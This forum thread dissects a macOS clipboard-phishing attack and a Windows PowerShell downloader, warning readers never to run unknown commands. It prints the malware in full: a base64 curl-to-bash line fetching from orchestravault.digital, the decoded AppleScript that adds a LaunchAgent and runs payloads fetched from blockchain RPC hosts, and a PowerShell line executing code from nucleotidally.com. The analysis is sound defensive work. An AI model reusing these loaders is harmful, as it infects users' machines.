最近碰到一个有意思的钓鱼网站，居然是传说中的APT攻击

[Furry (我不是)]

网址：https://secure-protocol66.pages.dev/?vc=e79b9866-4d16-40ee-8379-1e69a0b8bb50&ts=1781527045534&rn=761717 （目前已经下线）

这种钓鱼挺常见，说白了就是引导用户执行恶意命令。截图如下：

（因为我这里是iPad 网站应该把我识别成macOS了）
很明显
并且我打开这个弹窗之后 剪贴板里多出了这个命令：

bash <<< $(echo “Y3VybCAtcyAnaHR0cHM6Ly9vcmNoZXN0cmF2YXVsdC5kaWdpdGFsL3NjcmlwdC5zaCcgfCBiYXNo” | base64 -d)
base64解码后是：

curl -s ‘https:// orchestravault.digital/script.sh’ | bash

然后 https:// orchestravault.digital/script.sh 这个URL访问后显示了“https://osascript -e “$(echo “ZG8gc2hlbGwgc2NyaX………（非常长）………dm8ucGxpc3Qi” | base64 -d)”
里面这个base64解码后是我把那个巨长的base64解码了 do shell script "
SCRIPT_PATH="$HOME/Library/uhrgazvowchbnxvo";
mkdir -p "$HOME/Library/LaunchAgents";
cat > "$HOME/Library/LaunchAgents/com.uhrgazvowchbnxvo.plist" <<END_PLIST

<?xml version=\"1.0\" encoding=\"UTF-8\"?>

<plist version="1.0">

Label
com.uhrgazvowchbnxvo
KeepAlive

RunAtLoad

ProgramArguments

/bin/bash
-c
echo ‘c2V0IF9fZEF1aUlhRm…（又是个巨长的）…1FKCmVuZCBpZg==’ | base64 -d | osascript

里面这个base64 解码后是set __dAuiIaFcb to 59663
set _afZE5y5 to “CrIOUZJNWtDFLZ3vdL”
set __vg0vUHJYQ to 7598.6859
set __RTqvDE0xy to (726 + 394) * 9
set __OX8S9NVx4A3 to 93890
set __QT9I4SnJ5 to {(“p” & (character id 111) & (ASCII character 108) & “y” & “g” & (character id 111) & (character id 110) & “.” & “d” & (character id 114) & (character id 112) & (character id 99) & (ASCII character 46) & “o” & “r” & “g”), ((ASCII character 112) & “o” & (character id 108) & (ASCII character 121) & “gon” & (ASCII character 46) & (ASCII character 112) & (character id 117) & (character id 98) & (ASCII character 108) & (ASCII character 105) & (ASCII character 99) & “nod” & (ASCII character 101) & (ASCII character 46) & (ASCII character 99) & (ASCII character 111) & “m”), (string id {112, 111, 108, 121, 103, 111, 110, 45, 109, 97, 105, 110, 110, 101, 116, 46, 103, 97, 116, 101, 119, 97, 121, 46, 116, 97, 116, 117, 109, 46, 105, 111}), ((ASCII character 116) & (ASCII character 101) & “n” & (ASCII character 100) & (character id 101) & “r” & (ASCII character 108) & “y” & “.rp” & “c” & (character id 46) & “p” & (ASCII character 111) & (ASCII character 108) & (ASCII character 121) & (ASCII character 103) & (character id 111) & (ASCII character 110) & “.co” & (character id 109) & “m” & (ASCII character 117) & “n” & “i” & “t” & (ASCII character 121))}
set _Lb7pJ3Lkm6 to ((character id 123) & (character id 34) & “js” & “on” & (ASCII character 114) & (character id 112) & (ASCII character 99) & (ASCII character 34) & (ASCII character 58) & (character id 34) & (ASCII character 50) & (ASCII character 46) & (character id 48) & (ASCII character 34) & “,” & (ASCII character 34) & (ASCII character 109) & (ASCII character 101) & “t” & “hod” & (character id 34) & (character id 58) & (ASCII character 34) & (character id 101) & (character id 116) & (ASCII character 104) & (ASCII character 95) & (character id 99) & “a” & (character id 108) & (character id 108) & (ASCII character 34) & (ASCII character 44) & (ASCII character 34) & “par” & (character id 97) & (character id 109) & (character id 115) & (ASCII character 34) & “:[” & (character id 123) & (character id 34) & “t” & (character id 111) & (character id 34) & “:” & (ASCII character 34) & (character id 48) & (character id 120) & (character id 65) & (character id 51) & “a” & (character id 54) & (character id 48) & (character id 51) & “F8” & “a” & “4” & “5” & “4” & (ASCII character 97) & “9” & “c90” & (ASCII character 53) & (ASCII character 98) & (character id 52) & “c” & (ASCII character 53) & (ASCII character 55) & (ASCII character 57) & “B” & (ASCII character 98) & (character id 55) & “2” & (character id 54) & (character id 50) & “8” & (character id 70) & (character id 55) & “C” & (character id 49) & (ASCII character 53) & (ASCII character 67) & (character id 50) & “A” & “0” & (character id 34) & “,” & (character id 34) & (ASCII character 100) & “a” & (character id 116) & (character id 97) & (character id 34) & (character id 58) & (ASCII character 34) & “0x2” & (ASCII character 54) & (ASCII character 56) & “6” & “ec” & (ASCII character 101) & “a” & (character id 34) & (ASCII character 125) & (character id 44) & (character id 34) & (character id 108) & (character id 97) & “t” & (character id 101) & (character id 115) & (character id 116) & (character id 34) & “],” & (character id 34) & (ASCII character 105) & (character id 100) & (character id 34) & “:1” & (character id 125))

set _ammr5QzCN to (“33” & “34f” & (character id 51) & (character id 49) & (character id 50) & (character id 98) & (character id 55) & (ASCII character 48) & (character id 49) & (ASCII character 50) & (character id 50) & (character id 50) & (ASCII character 50) & (character id 54) & “a8” & “0” & (ASCII character 55) & “0” & “6” & (ASCII character 50) & “4a” & (ASCII character 52) & (ASCII character 55) & (ASCII character 57) & “ed” & (ASCII character 98))

repeat with __hfxV66uYv86 in __QT9I4SnJ5
try
set __ciuNiug2 to do shell script ((character id 114) & (ASCII character 61) & (character id 36) & (character id 40) & (character id 99) & (character id 117) & (character id 114) & (ASCII character 108) & (character id 32) & (character id 45) & “s -” & (character id 45) & “m” & (character id 97) & “x-t” & “im” & “e” & (character id 32) & (ASCII character 49) & (character id 53) & " " & “h” & “t” & “tps” & (character id 58) & “/” & (ASCII character 47)) & __hfxV66uYv86 & ((ASCII character 32) & (character id 45) & (ASCII character 88) & (character id 32) & (character id 80) & “O” & (character id 83) & "T " & (character id 45) & (ASCII character 72) & " " & (ASCII character 39) & “C” & (ASCII character 111) & (character id 110) & (ASCII character 116) & (character id 101) & (ASCII character 110) & (character id 116) & “-” & (character id 84) & (character id 121) & (ASCII character 112) & (ASCII character 101) & (ASCII character 58) & (character id 32) & (ASCII character 97) & (character id 112) & “p” & (ASCII character 108) & “i” & (ASCII character 99) & “a” & (character id 116) & (ASCII character 105) & (character id 111) & (ASCII character 110) & (character id 47) & (ASCII character 106) & “s” & “o” & (ASCII character 110) & "’ " & (character id 45) & (character id 45) & (character id 100) & “a” & (character id 116) & (character id 97) & (character id 32) & (character id 39)) & _Lb7pJ3Lkm6 & ((ASCII character 39) & (ASCII character 41) & (ASCII character 59) & (character id 32) & “h=" & "(e" & "c" & (ASCII character 104) & (character id 111) & (ASCII character 32) & (ASCII character 34) & (character id 36) & (character id 114) & (ASCII character 34) & (ASCII character 32) & (ASCII character 124) & (ASCII character 32) & (character id 115) & (character id 101) & (ASCII character 100) & (character id 32) & (ASCII character 45) & (character id 110) & (character id 32) & "'" & (character id 115) & (character id 47) & "." & (ASCII character 42) & (ASCII character 34) & (character id 114) & (ASCII character 101) & (character id 115) & (character id 117) & (character id 108) & (character id 116) & (character id 34) & ":" & (character id 34) & (ASCII character 48) & (character id 120) & (character id 92) & (ASCII character 40) & "[" & "^" & (ASCII character 34) & (ASCII character 93) & (character id 42) & (ASCII character 92) & (ASCII character 41) & (ASCII character 34) & "." & "*" & (ASCII character 47) & (ASCII character 92) & (ASCII character 49) & (character id 47) & (character id 112) & (character id 39) & ")" & "; " & "[" & (character id 32) & (character id 45) & (ASCII character 122) & (character id 32) & (ASCII character 34) & (character id 36) & (character id 104) & (character id 34) & (ASCII character 32) & (character id 93) & "&&e" & (character id 120) & "i" & (ASCII character 116) & (ASCII character 32) & "1" & ";" & (character id 32) & (character id 108) & (character id 61) & (ASCII character 36) & "(" & (ASCII character 112) & (character id 114) & (ASCII character 105) & (character id 110) & (character id 116) & (ASCII character 102) & " " & (ASCII character 34) & (character id 37) & (ASCII character 100) & (character id 34) & (ASCII character 32) & (ASCII character 34) & "0" & (ASCII character 120) & (ASCII character 36) & "{h" & ":" & (character id 54) & (ASCII character 52) & ":6" & (character id 52) & (character id 125) & (character id 34) & (ASCII character 41) & (ASCII character 59) & (ASCII character 32) & (ASCII character 101) & (ASCII character 99) & (character id 104) & (ASCII character 111) & (ASCII character 32) & (character id 34) & "{h” & “:” & “1” & “2” & (character id 56) & (ASCII character 58) & (character id 36) & (ASCII character 40) & (character id 40) & (character id 108) & “*” & (ASCII character 50) & “)” & (ASCII character 41) & (ASCII character 125) & (character id 34) & (ASCII character 124) & (ASCII character 120) & (character id 120) & “d” & (ASCII character 32) & (character id 45) & (character id 114) & " " & “-p”)
if __ciuNiug2 is not equal “” then exit repeat
end try
end repeat

if __ciuNiug2 is not equal “” then
set _MrzCzB2gQJ to ((character id 99) & (ASCII character 117) & (ASCII character 114) & (ASCII character 108) & (character id 32) & (ASCII character 45) & (character id 45) & (character id 99) & (character id 111) & (ASCII character 110) & (ASCII character 110) & (ASCII character 101) & (character id 99) & (character id 116) & (character id 45) & “ti” & (ASCII character 109) & (character id 101) & (ASCII character 111) & “u” & (ASCII character 116) & " 5 " & “-” & (ASCII character 45) & (ASCII character 109) & (character id 97) & (ASCII character 120) & (ASCII character 45) & “t” & (character id 105) & (character id 109) & “e 2” & (character id 48) & (ASCII character 32) & (ASCII character 45) & (character id 45) & (ASCII character 114) & (character id 101) & “try” & (character id 32) & (ASCII character 51) & (ASCII character 32) & “–r” & (character id 101) & (ASCII character 116) & (ASCII character 114) & “y” & (character id 45) & (ASCII character 100) & “el” & “ay” & " 5" & (character id 32)) & (string id {45, 88, 32, 80, 79, 83, 84, 32, 104, 116, 116, 112, 115, 58, 47, 47}) & quoted form of __ciuNiug2 & (character id 32) & ((ASCII character 45) & (ASCII character 100) & (ASCII character 32)) & quoted form of ((string id {116, 120, 105, 100, 61}) & _ammr5QzCN & (“&bm” & “odu” & “l” & (character id 101))) & (string id {32, 124, 32, 111, 115, 97, 115, 99, 114, 105, 112, 116})
do shell script _MrzCzB2gQJ
end if
END_PLIST
"
do shell script “launchctl unload ~/Library/LaunchAgents/com.uhrgazvowchbnxvo.plist 2>/dev/null”
do shell script “launchctl load ~/Library/LaunchAgents/com.uhrgazvowchbnxvo.plist”

deepseek老师的分析：核心攻击行为解析

1. 持久化安装（核心功能）：这是脚本最主要的功能。它会在你的 ~/Library/LaunchAgents/ 目录下，创建一个名为 com.uhrgazvowchbnxvo.plist 的 Launch Agent 属性列表文件。Launch Agent 是 macOS 官方推荐的、用于启动和守护用户登录后长期运行程序的机制。这确保了即使在系统重启后，恶意软件也能每次在用户登录时自动启动，实现持久化。
2. 构建C2（命令与控制）服务器地址数组：脚本通过拼接ASCII码的方式，在内存中动态生成了一个包含多个可疑域名（如 polygon.drpcorp.org， polygon-rpc.gateway.tatum.io， polygon-mainnet.gateway.tatum.io）的列表。这种动态生成手法可以对抗一些简单的流量特征检测。其中 polygon 和 tatum 都是与区块链相关的正常服务域名，黑客可能是在利用区块链交易或API来隐藏其命令和控制流量，增加检测难度。
3. 连接C2服务器并执行远程指令：脚本会循环尝试连接上述列表中的C2服务器。连接成功后，它会发送一个包含 “method”: “eth_blockNumber” 等字段的 JSON 格式数据包（伪装成以太坊节点查询），从服务器获取一段Base64编码的数据，解码后临时保存到 $HOME/Library/uhrgazvowchbnxvo 文件，并用 osascript 执行。这意味着黑客可以随时向受感染的机器下发任意新的恶意脚本。
4. 自我更新机制：脚本会从服务器获取返回值，如果返回不为空，说明有新的指令或载荷需要更新。这使得攻击者可以不断更新恶意软件的功能以逃避检测。

总结一下：绝对，不要，执行，来源不明的，命令！
（interesting.)

[Furry (我不是)]

我见过很多钓鱼 这个是最有意思的

[Arvin_Leung]

现在都是防不胜防，不乱开不懂的，要不直接都是在虚拟机打开。

[Bridge]

用的啥伪装？不然用户为何要按照它的指示操作？

[hikling]

现在钓鱼网站没之前多了

[baipai (白拍)]

[Antman5]

但是没事不会开虚拟机

[axelray]

谢谢分享

[Furry (我不是)]

cf 自己去看啊

[xiaofan0331 (橘子)]

学习了

[MSaZs (koosd)]

谢谢提醒

[mrafter]

害，我前几天才中这套路，然后就重装了。

这是一段高度混淆（obfuscated）的 PowerShell 命令，从行为上看非常像恶意软件下载器（Downloader）或木马加载器。

我来拆解一下：

powershell.exe -wIND miniMize

• -WindowStyle Minimize
• 让 PowerShell 窗口最小化运行，避免用户注意到。

---

第一部分：导入模块

$VHv='ExportedCommands';$AbM=IPMO 'M*.P*.U*' -Pass;

这里：

IPMO

实际上是：

Import-Module

而：

'M*.P*.U*'

匹配的通常是：

Microsoft.PowerShell.Utility

模块。

---

第二部分：动态获取命令

$AbM=$AbM.$VHv.Values.Name;

取出模块中的导出命令名。

随后：

$Lmp=$AbM[52];$psA=$AbM[51];

从命令列表中取第 52、51 个命令。

这是典型的：

不直接写命令名，而是通过索引取命令名，躲避杀毒软件检测。

---

第三部分：访问外部网站

.$psA(.$Lmp nucleotidally.com);

等价于类似：

Invoke-Expression (    Invoke-WebRequest nucleotidally.com)

或者：

iex (curl nucleotidally.com)

具体是哪两个命令需要知道当时模块命令顺序，但作用基本一致：

从 nucleotidally.com 下载内容并执行。

---

第四部分：超长随机字符串

$UMfUnikKYAscuONIMqeIzgmmnJeTSBR...

这种：

UMfUnikKYAscuONI...

几百个字符的随机字母串

通常是：

• Base64 数据
• XOR 加密载荷
• AES 加密 Shellcode
• 第二阶段恶意代码

加载器下载的数据会用这个字符串作为：

• 解密密钥
• 配置参数
• C2 地址隐藏信息

---

整体行为

这段代码的执行流程大概率是：

1. 启动 PowerShell（隐藏窗口）      ↓2. 导入系统模块      ↓3. 动态获取 Invoke-WebRequest / Invoke-Expression      ↓4. 访问 nucleotidally.com      ↓5. 下载恶意脚本      ↓6. 使用后面的长字符串解密      ↓7. 在内存执行 Payload

属于典型的：

• PowerShell Downloader
• Fileless Malware（无文件攻击）
• Loader
• RAT（远控木马）加载器

---

关于 nucleotidally.com

这个域名看起来不像正常业务域名：

nucleotidally.com

是一个随机单词型域名，非常符合：

• 恶意软件临时 C2
• 僵尸网络控制服务器
• 钓鱼基础设施

的命名特征。

---

如果这是你机器上的内容

建议立即：

1. 断网
2. 查看 PowerShell 历史记录

Get-Content (Get-PSReadlineOption).HistorySavePath

3. 检查近期进程

Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational

4. 全盘扫描

Microsoft Defender Offline Scan

5. 查看是否存在计划任务

schtasks /query /fo LIST /v

6. 检查启动项

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

---

如果你愿意，我还可以把这段 PowerShell 完整反混淆（deobfuscate），推断出 $AbM[51] 和 $AbM[52] 实际对应的命令，并分析 nucleotidally.com 是否已知为恶意域名。